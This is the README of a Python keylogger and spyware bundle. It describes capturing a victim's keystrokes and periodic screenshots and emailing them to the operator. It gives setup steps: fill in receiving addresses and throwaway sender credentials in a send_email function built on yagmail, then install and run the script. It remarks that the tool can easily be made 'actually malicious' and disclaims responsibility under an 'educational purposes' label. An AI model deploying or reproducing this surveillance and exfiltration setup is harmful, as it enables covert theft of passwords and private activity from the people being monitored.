This is a proof-of-concept keylogger and general spyware bundle. It tracks user input and what is currently shown on their screen at regular intervals and sends you the data via email. Given the current implementation for educational purposes it is not using the best approach, but can be easily modified to be actually malicious.
In Start.py
, in the send_email
function, add the emails on which you want to receive the tracked data in receiver_emails
and the credentials of the throwaway email that will send you the data in yag=yagmail.SMTP()
.
Example:
def send_email():
receiver_emails = ['[email protected]']
subject = "Keylog Data" + datetime.now().strftime("%d-%m-%Y %H-%M-%S")
yag=yagmail.SMTP("[email protected]","throwaway123")
Note: Since most people use Windows, this script has been modified, if you use Linux install PILL linux
$ pip install -r requirements.txt
$ python start.py
| pyautogui
| PyAutoGUI is a cross-platform GUI automation Python module for human beings. Used to programmatically control the mouse & keyboard.|
| pynput
| This library allows you to control and monitor input devices.|
| yagmail
| Sending an Email is simple:.|
Please note, this repo is for educational purposes only. No contributors, major or minor, are to fault for any actions done by this program.
MIT © Michael Radu
Don't really understand licenses or tl;dr? Check out the MIT license summary.